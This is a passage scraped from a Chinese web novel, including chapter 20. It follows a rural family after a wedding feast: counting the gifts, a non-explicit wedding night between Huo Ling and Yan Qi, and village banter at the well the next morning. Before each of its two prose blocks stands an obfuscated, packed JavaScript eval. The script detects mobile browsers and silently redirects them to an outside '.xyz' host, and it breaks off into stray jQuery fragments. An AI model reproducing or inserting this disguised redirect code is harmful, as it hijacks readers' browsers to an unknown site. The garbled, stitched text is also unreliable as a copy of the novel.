;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739512|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劝酒”。 问题是林长岁话说长了就结巴,对着不熟的人素来怎么省事怎么来,别人说了他不想听的,他也能借口说耳朵不好听不清。 于是这会儿开口就仨字,“来!干了!” 然后哐哐就是一顿喝。 再看郑三子,早就喝得眼睛发直,最后还是同桌的人上来拉了拉,打了个圆场,强行把郑三子拽走按下,杨庆生和林长岁才肯放过他。 这之后过去差不多一个时辰,总算吃了个杯盘狼藉,各家相携着散了。 岳松柏吃了个醉,连喊着今天高兴,谁都拦不住,好在还有儿子能赶车回村,在东屋里躺了几刻稍稍醒了酒,也就收拾着回了。 不然留在这处也没地方住,还得赶夜路。 走前岳松柏拉着两个外甥的手,怪是舍不得。 他只一个小妹,走得却比当大哥的还早,好在留下的两个小子争气,思及往事,眼眶子都泛红。 “过年里记得往我们那处去,早来些,多留几个时辰。” 且叮嘱霍凌进山时务必小心,“现下和从前不一样,是有家有口的人了,钱这东西,够吃够喝就罢,咱不干那等为了钱不要命的事。” 想当初霍老栓要是办事稳妥些,也不至于早早出事,留下他小妹孤儿寡母。 曾经他也怨过妹夫,但人死如灯灭,现在这些话是无论如何也说不出口了。 霍凌知晓舅舅的心结在哪里,边听边点头,无有不应。 有些人吃了酒话就变多,话匣子一开再收不住,岳松柏就数这类人。 眼看到了门口好半天,车都套上了,汉子还说个没完,夫郎乔氏看不下去,喊上儿子强行把他搀走。 不然霍家人别的不干,光应付他便够了,忙了一天,家家大小都累,他们早走,人也好早收拾罢了歇息。 几个时辰前迎着牛车来,而今目送着牛车走,至此院子空下,片刻前还吵吵嚷嚷的地方重归静寂,门前只余一地的鞭炮纸皮,灶上还有一些个没动的饭菜。 这吃席的日子里,外人是肚圆滚饱的走了,自家人光顾着忙,哪有工夫,当下赶紧热了热,一人一个碗安生吃了顿。 煮的醒酒汤多数进了霍峰和霍凌的肚,叶素萍也喝了些,同样灌了一碗,酸得龇牙咧嘴,但酒气确实压住了。 家里人少,霍凌和颜祺也不算是正经“新人”,没在屋里躲闲,吃罢饭就挽起袖,陪着一道拾掇到天擦黑。 院子扫干净,霍家兄弟搬着桌椅板凳去还了,叶素萍和颜祺进屋理了理来客随的礼,关系远的多给喜钱,关系近的则喜钱之外还有东西。 像是杨庆生两口子就拿来了一匹细布、两包好糖、一匣子镇上才有卖的粗红喜烛,共是个吉利数,整三双六根。 岳松柏一家子光礼就备了三份,当舅舅舅伯的一份,两个表哥家各一份,其中小表哥人虽是没来,岳松柏这个当爹的也替他全了礼数。 凑在一处,钱给了八百文,额外还有两匹布、两坛子好酒、一对儿捆了翅膀的大鹅,属实算是厚礼,一般人家成亲前下定的聘礼也不过如此。 村长家日子过得好,不差钱,更不会跌份儿,礼钱给的是吉利数,足够体面,另也是一坛子酒、一只鸡、一只点心匣子。 东西暂不提,礼钱全都点算完,就如先前所料,霍凌成亲晚,这些年光是往外掏,现下总算见了回头的。 如此花在席面上的钱不仅回了本,还多出来几钱。 20.做新郎 “这是喜钱,一共三两半,三匹布搁在那头箱子里了,余下的都还放在外面,大嫂让我问问你,是带去山里还是怎么着。” 今天家里人都累了一身汗,晚上架锅烧水,全都洗了个痛快澡。 霍凌进门时脖子上还搭着布巾,凑近时颜祺闻到了皂角的味道,很清爽。 “用得上的就拿,用不上的先放在家里。” 他想了想道:“钱都拿着吧,放在山里反而踏实,料子搬上一匹,活鸡活鹅就不要了,咱们去山上能打野味,不如留给大哥大嫂。” 至于其它吃用,上山前再说,并不着急。 “那明天剪几段麻绳,穿好了存起来。” 颜祺隔着布把沉甸甸的铜钱抱走,他还从没经手过这么多钱。 不过喜事随礼,说白了就是你给我我给你,没有谁家亏了赚了的说法。 将眼前最后一桩事忙完,两人也都洗了个干净,望着桌上点着的红色喜烛,一时都沉默下来。 有时候明知接下来要做什么,还没挑明前的时候反而尴尬。 最后还是霍凌把布巾一甩,清清嗓道:“累了一天,咱早睡吧。” “嗯,好。” 颜祺深知今天的“睡觉”肯定和平日不同,在村人面前走了明路,自己已是板上钉钉的霍凌夫郎,大喜当日夜里,肯定是要圆房的。 他不清楚圆房具体该做什么,只隐约记得以前听说过,做媳妇和夫郎的要主动一些,汉子会更喜欢。 越细想,心里就越打鼓,本还以为霍凌说睡觉,肯定是要熄灯的,结果对方去桌边转了一圈也没熄,但手指攥在一起,像是拿了个东西。 殊不知此时的霍凌心里头想的也不少,他刚刚背对着小哥儿,从另一件衣裳的怀里摸出个小瓷罐来。 这是买桂花油时顺带买的,结账时给那伙计使个眼色,悄无声息地便塞过来,小哥儿压根不知道。 说实话,到他这个岁数,虽是还没成亲,可该懂的早就都懂了,为此特地买了东西备着用,听闻用了这个哥儿家的才舒坦,怎料真要拿出来时脸上还有些臊。 把罐子拿稳,回过身去,见颜祺跪坐在炕上,眼神很是迷茫。 “不熄灯么?” “一会儿吧。” 他知道颜祺有点怕黑,真熄了灯,什么也看不见,说不定反而不好。 颜祺也不懂,霍凌说什么就是什么,等人一并上了炕,他顶着大红脸,去帮霍凌解衣裳。 可是后面的事却和他想的不一样,上衣的衣带才刚解开,他整个人就已被霍凌压着倒下去。 紧接着身上一凉,是他自己的衣裳也被扯松了。 “今天晚上,和之前……不太一样。” 霍凌亲了亲夫郎的眉心,抬手轻遮住他的眼。 颜祺睫毛动了动,扫得他掌心泛痒。 …… 烛泪滴答,落在旧木桌上。 而在霍凌身下的小哥儿同样泪眼朦胧。 “熄灯……” 颜祺只觉得脑子里一团浆糊,起初是有些疼的,后来就好了很多,却又变成另一种说不上来的感觉,令他周身微微颤抖。 现在的姿势太过奇怪,他压根不敢睁眼,只得低声求霍凌去灭了蜡烛。 可霍凌当下又哪里走得开,有些事不是说停就能停的。 他俯下身遮了些光,用手指擦去颜祺眼角的泪珠。 —— 一早起床,颜祺的眼睛肿得有点厉害,他拿被挡着脸不肯让霍凌看。 想到昨晚自己哭成那个样子,他恨不得找个地缝钻进去,后来霍凌帮他擦洗的时候他都在闭眼装睡。 霍凌怎么哄人也不出来,只好先出门煮了两个鸡蛋带回来,给小哥儿滚眼睛。 再躲下去也不是办法,颜祺最后还是接过了鸡蛋,闭着眼举起滚了好几遍,霍凌看他这副模样,忍不住浅笑了笑,又怕小哥儿看见着恼,趁鸡蛋拿下来的时候飞快拉平了唇角。 “身上……别处可好受?” 颜祺捏着鸡蛋,用手背蹭了蹭眼。 他其实哪里都不好受,坐起来时某个地方也怪怪的,然而哪里好意思说。 “还成。” 他小声说罢,问霍凌,“我眼睛看着还厉害么?” “比刚才好一点了。” 霍凌知道他是担心出门以后被大哥大嫂看见,遂道:“我给你拧条凉帕子,敷一敷就好,不急着起床,今天这日子,多睡会儿也使得。” 要说之前颜祺还听不懂,现在不懂也懂了,怪不得都说新人过门头一天可以不起早,原是因洞房夜经历那般多,简直像是在炕上打了一架,打完以后腰酸背痛,头昏脑涨。 霍凌同他讲只第一次这样,往后就好了,这等事是为了快活,不是受罪。 他现在还体味不到,只能等下回再说了。 “祺哥儿在屋里?” 叶素萍晨起,见院里只有霍凌来来去去,往西屋看一眼,问他道。 “在屋里,让他多睡会儿。” 霍凌脸不红心不跳地答话。 谁不是如此过来的,叶素萍心里明镜一般。 加上霍家没有长辈要侍候,比起那些和公婆在一处的媳妇夫郎轻松许多。 她颔首道:“我做个早食,下几碗汤面,配着昨天的剩菜再吃一顿。” 也就是这个天还能再放放,入了四月,家里没有井的,做熟的吃食搁放一夜怎么也要坏了。 到那时还是农忙季,家家没空摆酒吃酒,所以这场喜酒摆的时候刚刚好。 霍峰也早就出屋穿好衣裳,喊着霍凌一起去打水,昨天摆酒晚上洗澡,把家里两个水缸的水都用空了,现在做早食都没水用,只有矮炉水罐上还剩几口喝的。 “咱家以后也打口井,安个轱辘,缺水时你嫂子或是祺哥儿一人也拽得动。” 霍峰挑着担子走得飞快,霍凌赞成道:“咱这片离双井屯不远,容易出甜水井,村里这几口井没见哪一口是苦水的,料想咱家也不差。” 霍峰笑道:“打水这件事上,还是在山里方便,当初咱爷修院子的地方好,出门走几步就是山泉,水还又凉又甜的。” 山里修屋重风水,倒不是为了运势上头的说法,而是单纯图方便。 藏风处冬日里暖和,临水处平日取水方便,无需走大老远山路去挑水,那路可比山下村路难走多了。 “山里水是好喝,老杨叔不还常喊我给他带泉水下来煮茶。” 老杨叔就是杨庆生的爹,好品一口茶,家里挺多茶叶价儿都不便宜,有时遇着好茶,就言要用好水去泡,不然糟蹋了。 从山上带水下来不容易,哪怕只是两个水囊,加上每次霍凌都随着水给各样山货,有来有往,为此家里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744834|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 油纸伞没断过,英子年年都有新的小花伞。 昨日摆酒,老杨叔和夫郎是与儿子杨庆生一家分开来的,随的礼里便有一把新油伞,下面还缀了红穗子,一看就知是给霍凌和颜祺用的,喜庆又好看。 说到山上事,霍峰问霍凌打算哪日走。 “你这回上去,还得把箱柜儿扛上,咱俩一起上也不够使,总得叫两个人搭把手,可得提前寻好了。” 霍凌已有了成算。 “后日就走,和长岁说好他来帮忙,还替咱们找了赵家两个小子,一人给三十工钱就能跑一趟,说那两个小子力气大得很,但他自己不肯收银钱。” 过去霍林两家就是个点头之交,没太多来往,现下因颜祺和肖明明的缘故,走得愈发近了。 “长岁这小子是不错,没那么多虚头巴脑的心思。昨天帮你挡郑三子的酒,一碗接一碗,那是实打实地喝,酒量还真不差。” 霍峰道:“他不收银钱,咱也不能让人白干,等下了山,我找个由头割二斤肉给他家送去,怎么也能让他收了。” 霍凌点点头。 “挡酒的情我也记着,回头正经请他和大杨吃顿饭。” 他听颜祺讲过,肖明明曾说林长岁因有个酒蒙子爹,平常那是滴酒不沾,足可见这回来吃席已算是破了例。 说话间到了村头公井边,前面已有人在,兄弟俩便放下桶等了等。 打头的汉子把自家的水桶装满,看见他俩,冲霍凌挤眉弄眼。 “二凌,你小子咋起这么早?” “这咋了,我一晚上不睡,照样起早。” 霍凌朝对方挑挑眉毛,“祥子哥你要是觉得虚,下回我给捎一把腰子草,价钱好说。” “切,老子年轻力壮的,才用不上那个。” 两人一言一语,惹得周遭哄笑一阵。 有人多事,边排队边插嘴道:“昨天郑三子醉得不轻,回家吐了一路,他娘在门口骂了好半天。” 这人就住在郑家隔壁,不怪知道得这么清楚。 没等霍凌说话,和郑三子坐一桌的汉子先抢白道:“他自己喝起来没个数,能怪谁去,昨日我们桌上那坛子酒可让他糟蹋了不少。” 霍家大方,买的俱是好酒,结果郑三子发神经,到后来喝不过杨庆生和林长岁,偷摸灌一半倒一半的,气得同桌人想抽他。 霍凌没理会这通官司,村里摆席面,想来的都能来,总不能连贪杯喝醉的都怪到主家头上,谁听了都知道是郑家没理。 他开口反而显得小气,不如直接装听不见。 反正他脸色一沉,也没敢再搭腔。 回到家,颜祺披着衣裳,正待下炕,他脸皮薄,这时辰全家都醒了,自己还躺着,越想越过意不去。 尤其还隐约听见霍英在西屋门口,问她娘婶伯怎么还没起床。 反倒是霍凌回来后,好歹强行陪着他多歇了两刻,又给他揉腰揉腿,散去些酸痛。 小哥儿思及昨晚的事,起初胳膊腿还松展不开,总觉得霍凌的手还要往不该去的地方去。 可耐不住霍凌手劲恰到好处,很快把他揉得像个散了黄的鸡蛋,聚都聚不起来。 他认命地把自己摆成大字型,脸埋在枕头里听霍凌说说话。 言谈间两人商定,明日去趟麻儿村把个脉,问问还要不要多开几副药,接着后日早起,一道进山。